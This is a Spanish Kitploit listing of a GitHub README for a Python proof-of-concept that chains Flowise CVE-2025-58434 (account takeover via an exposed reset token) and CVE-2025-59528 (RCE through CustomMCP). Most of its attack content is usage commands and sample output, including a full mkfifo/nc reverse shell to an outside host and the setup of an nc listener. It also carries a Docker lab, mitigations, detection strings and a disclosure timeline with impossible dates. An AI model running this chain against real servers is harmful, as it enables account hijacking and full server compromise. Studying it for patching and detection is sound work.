Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Flowise-CVE-2025-58434-Chain-59528 — FlowiseAI CVE-2025-58434 & CVE-2025-59528 exploit PoC, demostrando ATO no autenticado mediante filtración de token de restablecimiento, seguido de RCE autenticado. Incluye un entorno de laboratorio Docker reproducible. | Kitploit
Herramientas/GitHubGitHub/0xdaeras/flowise-cve-2025-58434-chain-59528
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAutenticaciónAprendizaje y EducaciónLabs y Práctica
GitHub0xdaeras/flowise-cve-2025-58434-chain-59528

Flowise-CVE-2025-58434-Chain-59528

FlowiseAI CVE-2025-58434 & CVE-2025-59528 exploit PoC, demostrando ATO no autenticado mediante filtración de token de restablecimiento, seguido de RCE autenticado. Incluye un entorno de laboratorio Docker reproducible.

Ver Repositorio
1hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

FlowiseAI CVE Chain - ATO (CVE-2025-58434) y RCE (CVE-2025-59528)

CVE-2025-58434 CVSS-1 CVE-2025-59528 CVSS-2 Python License

⚠️ Solo para fines educativos e investigación de seguridad autorizada. Ejecutar esta herramienta contra sistemas que no poseas o para los que no tengas permiso por escrito es ilegal.


Tabla de contenido

Este repositorio contiene una prueba de concepto en Python para encadenar dos vulnerabilidades de Flowise:

  • CVE-2025-58434 — Toma de cuentas mediante la exposición del token de restablecimiento de contraseña.
  • CVE-2025-59528 — Ejecución remota de código mediante evaluación insegura de JavaScript en el nodo CustomMCP.

Flowise es una plataforma de arrastrar y soltar para construir aplicaciones LLM y flujos de trabajo de agentes de IA. CVE-2025-59528 afecta a Flowise 3.0.5 y se corrigió en 3.0.6. El problema proviene del procesamiento inseguro de mcpServerConfig dentro del nodo CustomMCP. CVE-2025-58434 está relacionado con la exposición del token de restablecimiento de contraseña y también se abordó en Flowise 3.0.6.

La herramienta admite:

  • Verificación de vulnerabilidad
  • Flujo de toma de cuentas
  • Inicio de sesión y obtención de cookies
  • RCE autenticado
  • Modo de cadena completa: ATO → inicio de sesión → RCE

Detalles de la vulnerabilidad

CVE-2025-58434 — Toma de cuentas

  • ID CVE: CVE-2025-58434
  • Puntuación CVSS v3.1: 9.8 (Crítica)
  • Tipo de vulnerabilidad: Toma de cuentas / Bypass de autenticación
  • Producto afectado: Flowise
  • Versión afectada probada: Flowise 3.0.5
  • Versión corregida: Flowise 3.0.6
  • Autenticación requerida: No
  • Impacto: Divulgación del token de restablecimiento de contraseña, toma de cuentas

El flujo vulnerable de restablecimiento de contraseña expone datos sensibles del usuario, incluidos tokens temporales de restablecimiento de contraseña, en la respuesta de la API. Un atacante que conozca una dirección de correo electrónico válida de usuario puede solicitar un restablecimiento de contraseña, recuperar el token temporal de la respuesta y usarlo para establecer una nueva contraseña para la cuenta.

El comportamiento vulnerable afecta a las implementaciones en la nube de Flowise y a las locales/autoalojadas que exponen la misma superficie de API. La solución es nunca devolver tokens de restablecimiento de contraseña ni datos sensibles de restablecimiento de cuenta directamente en las respuestas de la API.

CVE-2025-59528 — Ejecución remota de código

  • ID CVE: CVE-2025-59528
  • Puntuación CVSS v3.1: 10.0 (Crítica)
  • Tipo de vulnerabilidad: Inyección de código JavaScript / Ejecución remota de código
  • Producto afectado: Flowise
  • Versión afectada probada: Flowise 3.0.5
  • Versión corregida: Flowise 3.0.6
  • Autenticación requerida: Sí
  • Impacto: Ejecución arbitraria de JavaScript dentro del entorno Node.js, RCE en el servidor que aloja Flowise

La vulnerabilidad existe en el nodo CustomMCP de Flowise. El parámetro mcpServerConfig se analiza como parte del proceso de configuración del servidor MCP y se evalúa como código JavaScript sin ninguna validación de seguridad. Esto permite a un atacante autenticado inyectar código JavaScript arbitrario, que se ejecuta en el entorno Node.js del servidor Flowise. En la función convertToValidJSONString, la entrada del usuario se pasa al constructor Function, que evalúa la entrada como código JavaScript con privilegios completos de Node.js, lo que permite acceder a módulos como child_process para ejecutar comandos del sistema.

El endpoint vulnerable utilizado por esta PoC es:

root@kitploit:~
POST /api/v1/node-load-method/customMCP

con payload js en el campo mcpServerConfig del cuerpo JSON, por ejemplo:

root@kitploit:~
{
  "loadMethod": "listActions",
  "inputs": {
    "mcpServerConfig": "..."
  }
}

El código vulnerable se encuentra en el archivo CustomMCP.ts, y se hace referencia a él en el Aviso del Mantenedor de Github para el CVE.


Flujo de ataque

root@kitploit:~
Atacante                                   Flowise
   │                                          │
   │  [CVE-2025-58434]                       │
   │  POST /api/v1/account/forgot-password   │
   │  { email }                              │
   │─────────────────────────────────────────►│
   │◄─────────────────────────────────────────│
   │  objeto usuario + tempToken              │
   │                                          │
   │  POST /api/v1/account/reset-password     │
   │  { email, tempToken, newPassword }       │
   │─────────────────────────────────────────►│
   │◄─────────────────────────────────────────│
   │  contraseña cambiada                     │
   │                                          │
   │  POST /api/v1/auth/login                 │
   │  { email, newPassword }                  │
   │─────────────────────────────────────────►│
   │◄─────────────────────────────────────────│
   │  token / refreshToken / connect.sid      │
   │                                          │
   │  [CVE-2025-59528]                       │
   │  POST /api/v1/node-load-method/customMCP │
   │  mcpServerConfig=<config manipulada>     │
   │─────────────────────────────────────────►│
   │                              JS evaluado en Node.js
   │                              comando ejecutado
   │◄─────────────────────────────────────────│
   │  salida del comando o payload ejecutado  │
   │                                          │
   ✓  Toma de cuentas + RCE autenticado

Estructura del repositorio:

root@kitploit:~
Estructura del Repositorio
CVE-2025-58434-CVE-2025-59528/
├── exploit.py
├── README.md
├── requirements.txt
├── docker-compose.yml
└── logs/

Instalación

Herramienta

root@kitploit:~
git clone https://github.com/0xDaeras/CVE-2025-58434-CVE-2025-59528-POC.git
cd CVE-2025-58434-CVE-2025-59528-POC
pip install -r requirements.txt

Laboratorio Docker

root@kitploit:~
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
cp .env.example .env  # Configurar variables de entorno
docker-compose up -d

Uso

Comportamiento por defecto

Sin ningún argumento, la herramienta ejecutará la cadena de ataque completa, verificando la vulnerabilidad del objetivo, realizando la toma de cuentas para el correo electrónico proporcionado, iniciando sesión para recuperar cookies y luego explotando la vulnerabilidad RCE con un payload de reverse shell. Ejecuta un listener dedicado (por ejemplo, nc -lvnp 9889) antes de ejecutar la herramienta en modo cadena completa.

root@kitploit:~
python3 exploit.py --target http://localhost:3000 --email [email protected] --lhost attacker.local --lport 9889

Pantalla de ayuda

root@kitploit:~
python3 exploit.py -h

Modos

check-mode

Realiza una verificación de versión para determinar si el objetivo es vulnerable a CVE-2025-58434 y CVE-2025-59528. Envía una solicitud a la API del objetivo y analiza la respuesta para identificar la versión de Flowise y el estado de vulnerabilidad.

root@kitploit:~
python3 exploit.py --target http://localhost:3000 check

ato-mode

Ejecuta el proceso de toma de cuentas para CVE-2025-58434. Envía una solicitud de restablecimiento de contraseña para el correo electrónico especificado, recupera el token temporal de la respuesta y luego usa ese token para establecer una nueva contraseña (por defecto: "Password123!") para la cuenta.

root@kitploit:~
python3 exploit.py --target http://localhost:3000 --email [email protected] ato-mode

login-mode

Inicia sesión en el objetivo usando el correo electrónico y la contraseña especificados (por defecto: "Password123!"). Si tiene éxito, recupera y muestra las cookies de autenticación (por ejemplo, connect.sid) para su uso en solicitudes autenticadas.

root@kitploit:~
python3 exploit.py --target http://localhost:3000 --email [email protected] --password Password123! login-mode

rce-mode

Explota la vulnerabilidad RCE (CVE-2025-59528) enviando un payload mcpServerConfig manipulado al endpoint vulnerable. El payload está diseñado para ejecutar un comando de reverse shell que se conecta de vuelta a la máquina del atacante en el LHOST y LPORT especificados. Si no se proporciona un token, intenta automáticamente iniciar sesión y recuperar un token válido para la explotación. Si no se proporciona LHOST/LPORT, por defecto utiliza un payload simple de comando id que devuelve la salida en la respuesta. Ejecuta un listener dedicado (por ejemplo, nc -lvnp 9889) antes de ejecutar la herramienta en modo cadena completa.

root@kitploit:~
python3 exploit.py --target http://localhost:3000 --email [email protected] --password Password123! --lhost attacker.local --lport 9889 rce-mode

full-chain-mode

Modo por defecto. Ejecuta toda la cadena de ataque de forma secuencial: verifica vulnerabilidades, realiza la toma de cuentas, inicia sesión para recuperar cookies y luego explota la vulnerabilidad RCE con el payload de reverse shell. Ejecuta un listener dedicado (por ejemplo, nc -lvnp 9889) antes de ejecutar la herramienta en modo cadena completa.

root@kitploit:~
python3 exploit.py --target http://localhost:3000 --email [email protected] --lhost attacker.local --lport 9889 full-chain-mode

Referencia de flags

Objetivo y autenticación

FlagDescripciónEjemplo
-t, --targetURL base del objetivo-t http://localhost:3000
-e, --emailCorreo electrónico de la cuenta objetivo-e [email protected]
--passwordContraseña conocida para modo login/RCE--password Password123!
--tokenToken de sesión existente, omite inicio de sesión--token eyJ...
--new-passwordContraseña a establecer durante ATO--new-password Password123!

Modos de explotación

ModoDescripción
checkVerificar si el objetivo parece vulnerable
ato-modeEjecutar solo el flujo de toma de cuentas
login-modeIniciar sesión y recuperar cookies de sesión
rce-modeEjecutar solo el flujo RCE
full-modeEncadenar ATO, inicio de sesión y RCE

Opciones RCE

FlagDescripciónEjemplo
-c, --commandComando personalizado a ejecutar-c 'id'
--lhostHost del listener para reverse shell--lhost 10.10.14.3
--lportPuerto del listener para reverse shell--lport 4444

Seguridad y salida

FlagDescripciónPor defecto
--no-checkOmitir verificación de versión/vulnerabilidadFalse
-v, --verboseHabilitar registro de depuraciónFalse
--log-fileRuta del archivo de registrologs/exploit.log
--no-colorDeshabilitar colores ANSIFalse

Salida de ejemplo

root@kitploit:~
$ python3 exploit.py -t http://localhost:3000 -e [email protected] --new-password Password123! --lhost 192.168.1.7 --lport 9889 full-mode

                                                                                                                                   
___________.__                .__                _________ .__           .__        
\_   _____/|  |   ______  _  _|__| ______ ____   \_   ___ \|  |__ _____  |__| ____   
 |    __)  |  |  /  _ \ \/ \/ /  |/  ___// __ \  /    \  \/|  |  \\__  \ |  |/    \  
 |     \   |  |_(  <_> )     /|  |\___ \\  ___/  \     \___|   Y  \/ __ \|  |   |  \ 
 \___  /   |____/\____/ \/\_/ |__/____  >\___  >  \______  /___|  (____  /__|___|  / 
     \/                               \/     \/          \/     \/     \/        \/  
                                                                                     

  ────────────────────────────────────────────────────────────────────────────────
[∗] URL del objetivo: http://localhost:3000
[∗] Módulo: full-mode
[∗] Email: [email protected]
  ────────────────────────────────────────────────────────────────────────────────
[∗] Verificando vulnerabilidad del objetivo...
[+] El objetivo parece ser vulnerable.
  ────────────────────────────────────────────────────────────────────────────────
[∗] Iniciando Toma de Cuentas (CVE-2025-58434)...
[+] Solicitud de restablecimiento de contraseña enviada exitosamente.
[∗] Datos del usuario objetivo:

 🡪  ID             : 4e169dc2-AAAA-BBBB-CCCC-DDDDDDDDDDDD
 🡪  Nombre         : Lab Admin
 🡪  Email          : [email protected]
 🡪  Credencial     : $2a$10$lKbQNf8pVQXJFMzzW...
 🡪  Estado         : activo
 🡪  Token temporal : AWtyV7mxIa6h12OhlB7H0mMl...
 🡪  Expiración del token: 2026-05-08T19:37:47.025Z

[∗] Intentando restablecer la contraseña usando el token temporal...
[∗] Nueva contraseña: Password123!
[+] Toma de cuentas exitosa. Nuevas credenciales:

 🡪  Email          : [email protected]
 🡪  Contraseña     : Password123!
  ────────────────────────────────────────────────────────────────────────────────
[∗] Iniciando proceso de inicio de sesión para recuperar cookies de sesión...
[+] Inicio de sesión exitoso.
[+] Tokens de sesión recuperados:

 🡪  Token          : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXV...
 🡪  connect.sid    : s%3AFi1aUHh5p0aQrPd5q-l_vupTCE-5G...
 🡪  refreshToken   : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXV...
  ────────────────────────────────────────────────────────────────────────────────
[∗] Iniciando Ejecución Remota de Código (CVE-2025-59528)...
[!] ¡Asegúrate de tener un listener listo si usas un comando de reverse shell!

[∗] Comando de reverse shell: rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.1.1 9889 > /tmp/f
[∗] URL del objetivo: http://localhost:3000/api/v1/node-load-method/customMCP

[∗] Enviando payload para desencadenar RCE...
[+] Payload enviado. ¡Revisa tu listener para una conexión de reverse shell!
  ────────────────────────────────────────────────────────────────────────────────
[+] Trabajo terminado. ¡Adiós!

Laboratorio Docker

Se recomienda un laboratorio local para pruebas seguras.

Instalación del laboratorio:

root@kitploit:~
cp .env.example .env  # Configurar variables de entorno según sea necesario
docker compose up -d --build
docker compose logs -f

Se crean dos cuentas de Flowise por defecto:

  • Admin: El correo es [email protected], la contraseña se genera aleatoriamente al inicio del contenedor (revisa los logs para la contraseña).
  • Usuario: El correo es [email protected], la contraseña se genera aleatoriamente al inicio del contenedor pero no aparece en los logs. Este es el objetivo previsto para el flujo ATO.

Ejecuta la PoC contra la instancia local:

root@kitploit:~
python3 exploit.py \
  -t http://localhost:3000 \
  -e [email protected] \
  --new-password 'Password123!' \
  --no-check \
  full-mode

Para inspeccionar los logs de Flowise:

root@kitploit:~
docker compose logs -f flowise-cve-lab

o:

root@kitploit:~
docker logs -f flowise-cve-lab

Mitigación

Recomendaciones generales

Contra CVE-2025-58434

  • Actualizar Flowise a la versión 3.0.6 o posterior.
  • Nunca devolver tokens de restablecimiento de contraseña en las respuestas de la API.
  • Entregar los tokens de restablecimiento solo a través del canal de correo electrónico registrado.
  • Invalidar los tokens de restablecimiento después de un solo uso.
  • Agregar caducidad estricta y limitación de velocidad a los endpoints de restablecimiento de contraseña.

Contra CVE-2025-59528

  • Actualizar Flowise a la versión 3.0.6 o posterior.
  • Evitar evaluar configuraciones controladas por el usuario como JavaScript.
  • Eliminar patrones inseguros de ejecución dinámica como Function, eval o equivalentes.
  • Validar y analizar la configuración MCP como datos estrictos, no como código ejecutable.

Ideas para detección

Posibles indicadores de explotación:

  • Solicitudes a /api/v1/node-load-method/customMCP
  • Valores sospechosos de mcpServerConfig que contengan sintaxis similar a JavaScript.
  • Cadenas como: process.mainModule, child_process, execSync, Buffer.from, Function
  • Solicitudes de restablecimiento de contraseña seguidas inmediatamente de inicio de sesión y acceso a CustomMCP.
  • Conexiones salientes desde el contenedor o host de Flowise.

Cronología de divulgación

  • 2025-12-09: CVE-2025-58434 es divulgado por los usuarios zaddy6 y arthurgervais en Github Advisories, con un informe detallado y PoC.
  • 2025-13-09: CVE-2025-59528 es divulgado por el usuario im-soohyun en Github Advisories, con un informe detallado y PoC.
  • 2025-15-09: Ambos CVEs son corregidos en Flowise 3.0.6, publicado en Github.

Descargo de responsabilidad

Este proyecto se proporciona únicamente con fines educativos, pruebas de laboratorio e investigación de seguridad autorizada.

Eres responsable de asegurarte de tener permiso explícito antes de ejecutar esta herramienta contra cualquier sistema. El autor no se hace responsable del mal uso, daños o actividades ilegales realizadas con este código. Siempre sigue las pautas éticas y los requisitos legales al realizar pruebas de seguridad.


Referencias

  • CVE-2025-58434
  • CVE-2025-59528
  • Repositorio de Flowise en GitHub
  • Aviso del Mantenedor de Flowise para CVE-2025-58434
  • Aviso del Mantenedor de Flowise para CVE-2025-59528
  • Notas de la versión 3.0.6 de Flowise
Descargar herramienta